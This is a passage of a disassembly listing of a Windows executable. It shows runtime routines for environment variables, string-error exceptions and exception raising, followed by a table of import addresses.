					; sub_422D90+22j ...
		or	eax, 0FFFFFFFFh


loc_422DF7:				; CODE XREF: sub_422D90+182j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_422DFC:				; CODE XREF: sub_422D90+51j
					; sub_422D90+59j
		cmp	ebx, edi
		jnz	loc_422F10
		push	4
		call	sub_418235
		cmp	eax, edi
		pop	ecx
		mov	dword_4DCD9C, eax
		jz	short loc_422DF4
		mov	[eax], edi
		cmp	dword_4DCDA4, edi
		jnz	short loc_422E32
		push	4
		call	sub_418235
		cmp	eax, edi
		pop	ecx
		mov	dword_4DCDA4, eax
		jz	short loc_422DF4
		mov	[eax], edi


loc_422E32:				; CODE XREF: sub_422D90+4Cj
					; sub_422D90+62j ...
		sub	esi, [ebp+arg_0]
		mov	edi, dword_4DCD9C
		mov	[ebp+var_4], edi
		push	esi
		push	[ebp+arg_0]
		call	sub_422F17
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jl	short loc_422E92
		cmp	dword ptr [edi], 0
		jz	short loc_422E92
		test	ebx, ebx
		jz	short loc_422E8A
		push	dword ptr [edi+esi*4]
		lea	edi, [edi+esi*4]
		call	sub_417E11
		pop	ecx


loc_422E64:				; CODE XREF: sub_422D90+E2j
		cmp	dword ptr [edi], 0
		jz	short loc_422E74
		mov	eax, [edi+4]
		inc	esi
		mov	[edi], eax
		add	edi, 4
		jmp	short loc_422E64
; ---------------------------------------------------------------------------


loc_422E74:				; CODE XREF: sub_422D90+D7j
		mov	eax, esi
		shl	eax, 2
		push	eax
		push	[ebp+var_4]
		call	sub_417F62
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_422EC4
		jmp	short loc_422EBF
; ---------------------------------------------------------------------------


loc_422E8A:				; CODE XREF: sub_422D90+C6j
		mov	eax, [ebp+arg_0]
		mov	[edi+esi*4], eax
		jmp	short loc_422EC4
; ---------------------------------------------------------------------------


loc_422E92:				; CODE XREF: sub_422D90+BDj
					; sub_422D90+C2j
		test	ebx, ebx
		jnz	short loc_422F10
		test	esi, esi
		jge	short loc_422E9C
		neg	esi


loc_422E9C:				; CODE XREF: sub_422D90+108j
		lea	eax, ds:8[esi*4]
		push	eax
		push	edi
		call	sub_417F62
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	loc_422DF4
		mov	ecx, [ebp+arg_0]
		mov	[eax+esi*4], ecx
		and	dword ptr [eax+esi*4+4], 0


loc_422EBF:				; CODE XREF: sub_422D90+F8j
		mov	dword_4DCD9C, eax


loc_422EC4:				; CODE XREF: sub_422D90+F6j
					; sub_422D90+100j
		cmp	[ebp+arg_4], 0
		jz	short loc_422F10
		push	[ebp+arg_0]
		call	sub_417D40
		inc	eax
		inc	eax
		push	eax
		call	sub_418235
		mov	esi, eax
		pop	ecx
		test	esi, esi
		pop	ecx
		jz	short loc_422F10
		push	[ebp+arg_0]
		push	esi
		call	sub_418C10
		mov	eax, esi
		pop	ecx
		sub	eax, [ebp+arg_0]
		pop	ecx
		add	eax, [ebp+var_8]
		and	byte ptr [eax],	0
		inc	eax
		neg	ebx
		sbb	ebx, ebx
		not	ebx
		and	ebx, eax
		push	ebx
		push	esi
		call	dword_424004	; SetEnvironmentVariableA
		push	esi
		call	sub_417E11
		pop	ecx


loc_422F10:				; CODE XREF: sub_422D90+6Ej
					; sub_422D90+104j ...
		xor	eax, eax
		jmp	loc_422DF7
sub_422D90	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F17	proc near		; CODE XREF: sub_422D90+B2p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	esi
		mov	esi, dword_4DCD9C
		push	edi
		mov	eax, [esi]
		test	eax, eax
		jz	short loc_422F52
		mov	edi, [esp+8+arg_4]


loc_422F29:				; CODE XREF: sub_422F17+39j
		push	edi
		push	eax
		push	[esp+10h+arg_0]
		call	sub_422A66
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_422F48
		mov	eax, [esi]
		mov	al, [eax+edi]
		cmp	al, 3Dh
		jz	short loc_422F62
		test	al, al
		jz	short loc_422F62


loc_422F48:				; CODE XREF: sub_422F17+22j
		mov	eax, [esi+4]
		add	esi, 4
		test	eax, eax
		jnz	short loc_422F29


loc_422F52:				; CODE XREF: sub_422F17+Cj
		mov	eax, esi
		sub	eax, dword_4DCD9C
		sar	eax, 2
		neg	eax


loc_422F5F:				; CODE XREF: sub_422F17+56j
		pop	edi
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_422F62:				; CODE XREF: sub_422F17+2Bj
					; sub_422F17+2Fj
		mov	eax, esi
		sub	eax, dword_4DCD9C
		sar	eax, 2
		jmp	short loc_422F5F
sub_422F17	endp


; =============== S U B	R O U T	I N E =======================================



sub_422F6F	proc near		; CODE XREF: sub_422D90+3Fp

arg_0		= dword	ptr  4

		push	edi
		mov	edi, [esp+4+arg_0]
		xor	ecx, ecx
		test	edi, edi
		jnz	short loc_422F7E
		xor	eax, eax
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_422F7E:				; CODE XREF: sub_422F6F+9j
		cmp	dword ptr [edi], 0
		lea	eax, [edi+4]
		jz	short loc_422F90


loc_422F86:				; CODE XREF: sub_422F6F+1Fj
		mov	edx, [eax]
		inc	ecx
		add	eax, 4
		test	edx, edx
		jnz	short loc_422F86


loc_422F90:				; CODE XREF: sub_422F6F+15j
		push	ebx
		push	ebp
		lea	eax, ds:4[ecx*4]
		push	esi
		push	eax
		call	sub_418235
		mov	esi, eax
		pop	ecx
		test	esi, esi
		mov	ebp, esi
		jnz	short loc_422FB1
		push	9
		call	sub_41A609
		pop	ecx


loc_422FB1:				; CODE XREF: sub_422F6F+38j
		mov	eax, [edi]
		mov	ebx, edi


loc_422FB5:				; CODE XREF: sub_422F6F+5Bj
		test	eax, eax
		jz	short loc_422FCC
		push	eax
		add	ebx, 4
		call	sub_423049
		mov	[esi], eax
		mov	eax, [ebx]
		pop	ecx
		add	esi, 4
		jmp	short loc_422FB5
; ---------------------------------------------------------------------------


loc_422FCC:				; CODE XREF: sub_422F6F+48j
		and	dword ptr [esi], 0
		mov	eax, ebp
		pop	esi
		pop	ebp
		pop	ebx
		pop	edi
		retn
sub_422F6F	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_422FD6	proc near		; CODE XREF: sub_422D90+14p

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		cmp	dword_4DE1DC, 0
		jnz	short loc_422FF1
		push	[ebp+arg_4]
		push	[ebp+arg_0]
		call	sub_418D10
		pop	ecx
		pop	ecx
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_422FF1:				; CODE XREF: sub_422FD6+Aj
		mov	ecx, [ebp+arg_0]


loc_422FF4:				; CODE XREF: sub_422FD6+56j
		movzx	ax, byte ptr [ecx]
		test	ax, ax
		jz	short loc_423037
		movzx	edx, al
		test	byte_4DE2E1[edx], 4
		jz	short loc_423023
		mov	dl, [ecx+1]
		inc	ecx
		test	dl, dl
		jz	short loc_42302E
		movzx	eax, ax
		movzx	edx, dl
		shl	eax, 8
		or	eax, edx
		cmp	[ebp+arg_4], eax
		jz	short loc_423032
		jmp	short loc_42302B
; ---------------------------------------------------------------------------


loc_423023:				; CODE XREF: sub_422FD6+31j
		movzx	edx, ax
		cmp	[ebp+arg_4], edx
		jz	short loc_423037


loc_42302B:				; CODE XREF: sub_422FD6+4Bj
		inc	ecx
		jmp	short loc_422FF4
; ---------------------------------------------------------------------------


loc_42302E:				; CODE XREF: sub_422FD6+39j
		xor	eax, eax
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423032:				; CODE XREF: sub_422FD6+49j
		lea	eax, [ecx-1]
		pop	ebp
		retn
; ---------------------------------------------------------------------------


loc_423037:				; CODE XREF: sub_422FD6+25j
					; sub_422FD6+53j
		movzx	edx, ax
		mov	eax, [ebp+arg_4]
		sub	eax, edx
		neg	eax
		sbb	eax, eax
		not	eax
		and	eax, ecx
		pop	ebp
		retn
sub_422FD6	endp


; =============== S U B	R O U T	I N E =======================================



sub_423049	proc near		; CODE XREF: sub_415512+21p
					; sub_422F6F+4Ep

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		test	esi, esi
		jz	short loc_423070
		push	esi
		call	sub_417D40
		inc	eax
		push	eax
		call	sub_418235
		pop	ecx
		test	eax, eax
		pop	ecx
		jz	short loc_423070
		push	esi
		push	eax
		call	sub_418C10
		pop	ecx
		pop	ecx
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_423070:				; CODE XREF: sub_423049+7j
					; sub_423049+1Aj
		xor	eax, eax
		pop	esi
		retn
sub_423049	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_423080	proc near		; CODE XREF: sub_40C4B3+12p
					; sub_40C50D+12p ...
		mov	eax, offset loc_423570
		call	sub_4199C4
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40C6B8
		mov	esi, offset aStringTooLong ; "string too long"
		push	esi
		call	sub_417D40
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40C6F0
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4230DA
		lea	eax, [ebp-3Ch]
		push	offset dword_425038
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424CFC
		call	sub_4234D9
		pop	esi
sub_423080	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_4230DA	proc near		; CODE XREF: sub_423080+3Fp
					; sub_4232AC+3Fp
		mov	eax, offset loc_423584
		call	sub_4199C4
		push	ecx
		push	ecx
		push	ebx
		push	esi
		lea	eax, [ebp-10h]
		push	edi
		mov	esi, ecx
		push	eax
		mov	[ebp-14h], esi
		mov	dword ptr [ebp-10h], offset byte_4400B4
		call	sub_4233FE
		mov	ebx, [ebp+8]
		and	dword ptr [ebp-4], 0
		lea	edi, [esi+0Ch]
		push	0
		mov	al, [ebx]
		mov	ecx, edi
		mov	[edi], al
		call	sub_40C6B8
		push	dword_424D28
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40C565
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424D1C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_4230DA	endp


; =============== S U B	R O U T	I N E =======================================



sub_42313E	proc near		; DATA XREF: .nsp0:00424D00o
					; .nsp0:00424D20o ...
		mov	eax, [ecx+10h]
		test	eax, eax
		jnz	short locret_42314A
		mov	eax, offset dword_424690

locret_42314A:				; CODE XREF: sub_42313E+5j
		retn
sub_42313E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42314B	proc near		; DATA XREF: .nsp0:00424D24o

var_1C		= byte ptr -1Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_4231C1
		lea	eax, [ebp+var_1C]
		push	offset dword_4250A8
		push	eax
		call	sub_4234D9
sub_42314B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_423168	proc near		; CODE XREF: .nsp0:004231A8p
					; DATA XREF: .nsp0:004250ACo
		mov	eax, offset loc_423598
		call	sub_4199C4
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_424D1C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40C6B8
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_423485
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_423168	endp

; ---------------------------------------------------------------------------


loc_4231A5:				; DATA XREF: .nsp0:off_424D1Co
		push	esi
		mov	esi, ecx
		call	sub_423168
		test	byte ptr [esp+8], 1
		jz	short loc_4231BB
		push	esi
		call	sub_4199E3
		pop	ecx


loc_4231BB:				; CODE XREF: .nsp0:004231B2j
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================



sub_4231C1	proc near		; CODE XREF: sub_42314B+Ap
					; sub_423294+7p ...
		mov	eax, offset loc_4235AC
		call	sub_4199C4
		push	ecx
		push	ebx
		mov	ebx, [ebp+8]
		push	esi
		push	edi
		mov	esi, ecx
		push	ebx
		mov	[ebp-10h], esi
		call	sub_42343B
		mov	al, [ebx+0Ch]
		and	dword ptr [ebp-4], 0
		add	ebx, 0Ch
		lea	edi, [esi+0Ch]
		push	0
		mov	ecx, edi
		mov	[edi], al
		call	sub_40C6B8
		push	dword_424D28
		mov	ecx, edi
		push	0
		push	ebx
		call	sub_40C565
		mov	ecx, [ebp-0Ch]
		mov	dword ptr [esi], offset	off_424D1C
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebx
		mov	large fs:0, ecx
		leave
		retn	4
sub_4231C1	endp


; =============== S U B	R O U T	I N E =======================================



sub_42321E	proc near		; CODE XREF: sub_42325B+20p
					; DATA XREF: .nsp0:0042503Co
		mov	eax, offset loc_4235C0
		call	sub_4199C4
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_424D1C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40C6B8
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_423485
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_42321E	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_42325B	proc near		; DATA XREF: .nsp0:00424D04o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_423294
		lea	eax, [ebp+var_1C]
		push	offset dword_425038
		push	eax
		call	sub_4234D9


loc_423278:				; DATA XREF: .nsp0:off_424CFCo
		push	esi
		mov	esi, ecx
		call	sub_42321E
		test	[esp+20h+var_18], 1
		jz	short loc_42328E
		push	esi
		call	sub_4199E3
		pop	ecx


loc_42328E:				; CODE XREF: sub_42325B+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_42325B	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_423294	proc near		; CODE XREF: sub_42325B+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4231C1
		mov	dword ptr [esi], offset	off_424CFC
		mov	eax, esi
		pop	esi
		retn	4
sub_423294	endp


; =============== S U B	R O U T	I N E =======================================



sub_4232AC	proc near		; CODE XREF: sub_40C565+13p
					; sub_40C725+Ep
		mov	eax, offset loc_4235D4
		call	sub_4199C4
		sub	esp, 30h
		mov	al, [ebp-0Dh]
		push	esi
		push	0
		lea	ecx, [ebp-20h]
		mov	[ebp-20h], al
		call	sub_40C6B8
		mov	esi, offset aInvalidStringP ; "invalid string position"
		push	esi
		call	sub_417D40
		pop	ecx
		push	eax
		push	esi
		lea	ecx, [ebp-20h]
		call	sub_40C6F0
		and	dword ptr [ebp-4], 0
		lea	eax, [ebp-20h]
		push	eax
		lea	ecx, [ebp-3Ch]
		call	sub_4230DA
		lea	eax, [ebp-3Ch]
		push	offset dword_425160
		push	eax
		mov	dword ptr [ebp-3Ch], offset off_424D30
		call	sub_4234D9
		pop	esi
sub_4232AC	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_423306	proc near		; CODE XREF: sub_423343+20p
					; DATA XREF: .nsp0:00425164o
		mov	eax, offset loc_4235E8
		call	sub_4199C4
		push	ecx
		push	esi
		mov	esi, ecx
		mov	[ebp-10h], esi
		mov	dword ptr [esi], offset	off_424D1C
		and	dword ptr [ebp-4], 0
		push	1
		lea	ecx, [esi+0Ch]
		call	sub_40C6B8
		or	dword ptr [ebp-4], 0FFFFFFFFh
		mov	ecx, esi
		call	sub_423485
		mov	ecx, [ebp-0Ch]
		pop	esi
		mov	large fs:0, ecx
		leave
		retn
sub_423306	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_423343	proc near		; DATA XREF: .nsp0:00424D38o

var_1C		= byte ptr -1Ch
var_18		= byte ptr -18h

		push	ebp
		mov	ebp, esp
		sub	esp, 1Ch
		push	ecx
		lea	ecx, [ebp+var_1C]
		call	sub_42337C
		lea	eax, [ebp+var_1C]
		push	offset dword_425160
		push	eax
		call	sub_4234D9


loc_423360:				; DATA XREF: .nsp0:off_424D30o
		push	esi
		mov	esi, ecx
		call	sub_423306
		test	[esp+20h+var_18], 1
		jz	short loc_423376
		push	esi
		call	sub_4199E3
		pop	ecx


loc_423376:				; CODE XREF: sub_423343+2Aj
		mov	eax, esi
		pop	esi
		retn	4
sub_423343	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_42337C	proc near		; CODE XREF: sub_423343+Ap

arg_0		= dword	ptr  4

		push	esi
		mov	esi, ecx
		push	[esp+4+arg_0]
		call	sub_4231C1
		mov	dword ptr [esi], offset	off_424D30
		mov	eax, esi
		pop	esi
		retn	4
sub_42337C	endp


; =============== S U B	R O U T	I N E =======================================



sub_423394	proc near		; DATA XREF: .nsp0:00426014o

; FUNCTION CHUNK AT 004233CA SIZE 0000000C BYTES

		test	byte_4DD08C, 1
		jnz	short loc_4233A4
		or	byte_4DD08C, 1


loc_4233A4:				; CODE XREF: sub_423394+7j
		call	sub_4233BE
		test	byte_4DE420, 1
		jnz	short loc_4233B9
		or	byte_4DE420, 1


loc_4233B9:				; CODE XREF: sub_423394+1Cj
		jmp	loc_4233CA
sub_423394	endp


; =============== S U B	R O U T	I N E =======================================



sub_4233BE	proc near		; CODE XREF: sub_423394:loc_4233A4p
		push	offset nullsub_1
		call	sub_419DA0
		pop	ecx
		retn
sub_4233BE	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423394


loc_4233CA:				; CODE XREF: sub_423394:loc_4233B9j
		push	offset nullsub_1
		call	sub_419DA0
		pop	ecx
		retn
; END OF FUNCTION CHUNK	FOR sub_423394

; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4233D6	proc near		; CODE XREF: sub_40BE45+5Ep
					; sub_40DF38+148p ...
		jmp	dword_424214
sub_4233D6	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: thunk


sub_4233DC	proc near		; CODE XREF: sub_419630+23p
					; sub_4198D4+13p
		jmp	dword_424188
sub_4233DC	endp


; =============== S U B	R O U T	I N E =======================================



sub_4233E2	proc near		; DATA XREF: .nsp0:off_424D58o

arg_0		= byte ptr  4

		push	esi
		mov	esi, ecx
		call	sub_423485
		test	[esp+4+arg_0], 1
		jz	short loc_4233F8
		push	esi
		call	sub_4199E3
		pop	ecx


loc_4233F8:				; CODE XREF: sub_4233E2+Dj
		mov	eax, esi
		pop	esi
		retn	4
sub_4233E2	endp


; =============== S U B	R O U T	I N E =======================================



sub_4233FE	proc near		; CODE XREF: sub_4230DA+1Fp

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D58
		push	dword ptr [edi]
		call	sub_417D40
		inc	eax
		push	eax
		call	sub_419D25
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42342D
		push	dword ptr [edi]
		push	eax
		call	sub_418C10
		pop	ecx
		pop	ecx


loc_42342D:				; CODE XREF: sub_4233FE+23j
		mov	dword ptr [esi+8], 1
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_4233FE	endp


; =============== S U B	R O U T	I N E =======================================



sub_42343B	proc near		; CODE XREF: sub_4231C1+17p

arg_0		= dword	ptr  4

		push	esi
		push	edi
		mov	edi, [esp+8+arg_0]
		mov	esi, ecx
		mov	dword ptr [esi], offset	off_424D58
		mov	eax, [edi+8]
		test	eax, eax
		mov	[esi+8], eax
		jz	short loc_423478
		push	dword ptr [edi+4]
		call	sub_417D40
		inc	eax
		push	eax
		call	sub_419D25
		pop	ecx
		mov	[esi+4], eax
		test	eax, eax
		pop	ecx
		jz	short loc_42347E
		push	dword ptr [edi+4]
		push	eax
		call	sub_418C10
		pop	ecx
		pop	ecx
		jmp	short loc_42347E
; ---------------------------------------------------------------------------


loc_423478:				; CODE XREF: sub_42343B+16j
		mov	eax, [edi+4]
		mov	[esi+4], eax


loc_42347E:				; CODE XREF: sub_42343B+2Ej
					; sub_42343B+3Bj
		mov	eax, esi
		pop	edi
		pop	esi
		retn	4
sub_42343B	endp


; =============== S U B	R O U T	I N E =======================================



sub_423485	proc near		; CODE XREF: sub_423168+2Bp
					; sub_42321E+2Bp ...
		cmp	dword ptr [ecx+8], 0
		mov	dword ptr [ecx], offset	off_424D58
		jz	short locret_42349A
		push	dword ptr [ecx+4]
		call	sub_4199E3
		pop	ecx

locret_42349A:				; CODE XREF: sub_423485+Aj
		retn
sub_423485	endp


; =============== S U B	R O U T	I N E =======================================



sub_42349B	proc near		; DATA XREF: .nsp0:00424D5Co
		mov	eax, [ecx+4]
		test	eax, eax
		jnz	short locret_4234A7
		mov	eax, offset aUnknownExcepti ; "Unknown exception"

locret_4234A7:				; CODE XREF: sub_42349B+5j
		retn
sub_42349B	endp


; =============== S U B	R O U T	I N E =======================================



sub_4234A8	proc near		; CODE XREF: .nsp0:004234C0p
		mov	dword ptr [ecx], offset	off_424D78
		mov	ecx, [ecx+4]
		test	ecx, ecx
		jz	short locret_4234BC
		push	ecx
		call	sub_417E11
		pop	ecx

locret_4234BC:				; CODE XREF: sub_4234A8+Bj
		retn
sub_4234A8	endp

; ---------------------------------------------------------------------------


loc_4234BD:				; DATA XREF: .nsp0:off_424D78o
		push	esi
		mov	esi, ecx
		call	sub_4234A8
		test	byte ptr [esp+8], 1
		jz	short loc_4234D3
		push	esi
		call	sub_4199E3
		pop	ecx


loc_4234D3:				; CODE XREF: .nsp0:004234CAj
		mov	eax, esi
		pop	esi
		retn	4

; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_4234D9	proc near		; CODE XREF: sub_423080+54p
					; sub_42314B+18p ...

var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_10		= dword	ptr -10h
var_C		= byte ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		sub	esp, 20h
		mov	eax, [ebp+arg_0]
		push	esi
		push	edi
		push	8
		pop	ecx
		mov	esi, offset dword_424D80
		lea	edi, [ebp+var_20]
		rep movsd
		mov	[ebp+var_8], eax
		mov	eax, [ebp+arg_4]
		mov	[ebp+var_4], eax
		lea	eax, [ebp+var_C]
		push	eax
		push	[ebp+var_10]
		push	[ebp+var_1C]
		push	[ebp+var_20]
		call	dword_42405C	; RaiseException
		pop	edi
		pop	esi
		leave
		retn	8
sub_4234D9	endp

; ---------------------------------------------------------------------------
		align 4

; =============== S U B	R O U T	I N E =======================================



sub_423514	proc near		; DATA XREF: .nsp0:00424F2Co

; FUNCTION CHUNK AT 0040C4AB SIZE 00000008 BYTES

		lea	ecx, [ebp-38h]
		jmp	loc_40C4AB
sub_423514	endp

; ---------------------------------------------------------------------------
		mov	eax, [ebp-20h]
		and	eax, 1
		test	eax, eax
		jz	locret_423532
		mov	ecx, [ebp+8]
		jmp	loc_40C4AB
; ---------------------------------------------------------------------------

locret_423532:				; CODE XREF: .nsp0:00423524j
		retn
; ---------------------------------------------------------------------------


loc_423533:				; DATA XREF: sub_40C086o
		mov	eax, offset dword_424F30
		jmp	loc_41967F
; ---------------------------------------------------------------------------
		align 10h
		lea	ecx, [ebp+14h]
		jmp	loc_40C4AB
; ---------------------------------------------------------------------------


loc_423548:				; DATA XREF: .nsp0:00424F58o
		lea	ecx, [ebp-1Ch]
		jmp	loc_40C4AB
; ---------------------------------------------------------------------------


loc_423550:				; DATA XREF: sub_40C225o
		mov	eax, offset dword_424F5C
		jmp	loc_41967F
; ---------------------------------------------------------------------------
		align 4


loc_42355C:				; DATA XREF: sub_40C78Co
		mov	eax, offset dword_424FAC
		jmp	loc_41967F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40C4AB
; ---------------------------------------------------------------------------


loc_423570:				; DATA XREF: sub_423080o
		mov	eax, offset dword_425048
		jmp	loc_41967F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-14h]
		jmp	sub_423485
; ---------------------------------------------------------------------------


loc_423584:				; DATA XREF: sub_4230DAo
		mov	eax, offset dword_425070
		jmp	loc_41967F
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_423485
; ---------------------------------------------------------------------------


loc_423598:				; DATA XREF: sub_423168o
		mov	eax, offset dword_4250B8
		jmp	loc_41967F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_423485
; ---------------------------------------------------------------------------


loc_4235AC:				; DATA XREF: sub_4231C1o
		mov	eax, offset dword_4250E0
		jmp	loc_41967F
; ---------------------------------------------------------------------------
		align 4
		mov	ecx, [ebp-10h]
		jmp	sub_423485
; ---------------------------------------------------------------------------


loc_4235C0:				; DATA XREF: sub_42321Eo
		mov	eax, offset dword_425108
		jmp	loc_41967F
; ---------------------------------------------------------------------------
		align 4
		lea	ecx, [ebp-20h]
		jmp	loc_40C4AB
; ---------------------------------------------------------------------------


loc_4235D4:				; DATA XREF: sub_4232ACo
		mov	eax, offset dword_425170
		jmp	loc_41967F
; ---------------------------------------------------------------------------
		align 10h
		mov	ecx, [ebp-10h]
		jmp	sub_423485
; ---------------------------------------------------------------------------


loc_4235E8:				; DATA XREF: sub_423306o
		mov	eax, offset dword_425198
		jmp	loc_41967F
; ---------------------------------------------------------------------------
		align 4
		dd 283h	dup(0)
dword_424000	dd 77E79424h		; DATA XREF: sub_40EEC8+27Ar
dword_424004	dd 77E6BD68h		; DATA XREF: sub_422D90+173r
dword_424008	dd 77E77F2Eh		; DATA XREF: sub_422B13+3Er
					; sub_422B13+261r
dword_42400C	dd 77E762D0h		; DATA XREF: sub_422B13+5Br
					; sub_422B13+B9r
dword_424010	dd 77E70192h		; DATA XREF: sub_421B1A+F9r
dword_424014	dd 77E7176Ch		; DATA XREF: sub_4213B8+8r
dword_424018	dd 77E7339Ch		; DATA XREF: sub_421380+Cr
dword_42401C	dd 77E7C9E7h		; DATA XREF: sub_421362+5r
					; sub_421373+6r
dword_424020	dd 77E7C866h		; DATA XREF: sub_4208F4+3Fr
					; sub_4208F4+12Dr
dword_424024	dd 77E641EBh		; DATA XREF: sub_4208F4+59r
					; sub_4208F4+8Dr
dword_424028	dd 77E73FF9h		; DATA XREF: sub_4203F3+2Cr
dword_42402C	dd 77E7FF2Eh		; DATA XREF: sub_4202C5:loc_420315r
					; sub_42033C:loc_42038Fr
dword_424030	dd 77E78406h		; DATA XREF: sub_41FE19+FFr
					; sub_41FE19+166r ...
dword_424034	dd 77E79C3Dh		; DATA XREF: sub_41FE19+158r
					; sub_4200DD+143r
dword_424038	dd 77E7C931h		; DATA XREF: sub_41FE19+19Dr
dword_42403C	dd 77E77EE1h		; DATA XREF: sub_41FCE7+9r
dword_424040	dd 77E67702h		; DATA XREF: sub_41FCE7:loc_41FD16r
					; sub_41FCE7+E1r
dword_424044	dd 77E7C9E1h		; DATA XREF: sub_41FCE7+CEr
dword_424048	dd 77E9C5B1h		; DATA XREF: sub_41FCE7+11Fr
dword_42404C	dd 77EB9A84h		; DATA XREF: sub_41F805+138r
dword_424050	dd 77E781F9h		; DATA XREF: sub_41F5B6+42r
					; sub_41F5B6+14Dr ...
dword_424054	dd 77E77405h		; DATA XREF: sub_41F5B6+5Er
					; sub_41F5B6+A7r
dword_424058	dd 77F522F2h		; DATA XREF: sub_41F1E8+58r
dword_42405C	dd 77E6D706h		; DATA XREF: sub_41DC8C+215r
					; sub_4234D9+2Er
dword_424060	dd 77E6C703h		; DATA XREF: sub_41CC22+1Ar
dword_424064	dd 77E75CB5h		; DATA XREF: sub_40111A+DFr
					; sub_40121E+7Ar ...
dword_424068	dd 77E77963h		; DATA XREF: sub_40111A+B8r
					; sub_40121E+2C9r ...
dword_42406C	dd 77E61BB8h		; DATA XREF: sub_40111A+A7r
					; sub_40121E+2B1r ...
dword_424070	dd 77E7A099h		; DATA XREF: sub_40111A+83r
					; sub_40121E+DAr ...
dword_424074	dd 77E704FCh		; DATA XREF: sub_40111A+74r
					; sub_40121E+C4r ...
dword_424078	dd 77E61BE6h		; DATA XREF: sub_40111A+29r
					; sub_40121E+1DEr ...
dword_42407C	dd 77E7AC37h		; DATA XREF: sub_40121E+3ACr
					; sub_401AA1+1A85r ...
dword_424080	dd 77E73628h		; DATA XREF: sub_40121E+329r
					; sub_401AA1+6A55r ...
dword_424084	dd 77E706B7h		; DATA XREF: sub_40121E+262r
					; sub_416D91+B9r ...
dword_424088	dd 77E80656h		; DATA XREF: sub_40121E+255r
dword_42408C	dd 77F5157Dh		; DATA XREF: sub_40121E:loc_4013E0r
					; sub_40121E+3D1r ...
dword_424090	dd 77E6BD13h		; DATA XREF: sub_40121E:loc_4013D6r
dword_424094	dd 77E70396h		; DATA XREF: sub_40121E+1B2r
					; sub_40121E+20Fr ...
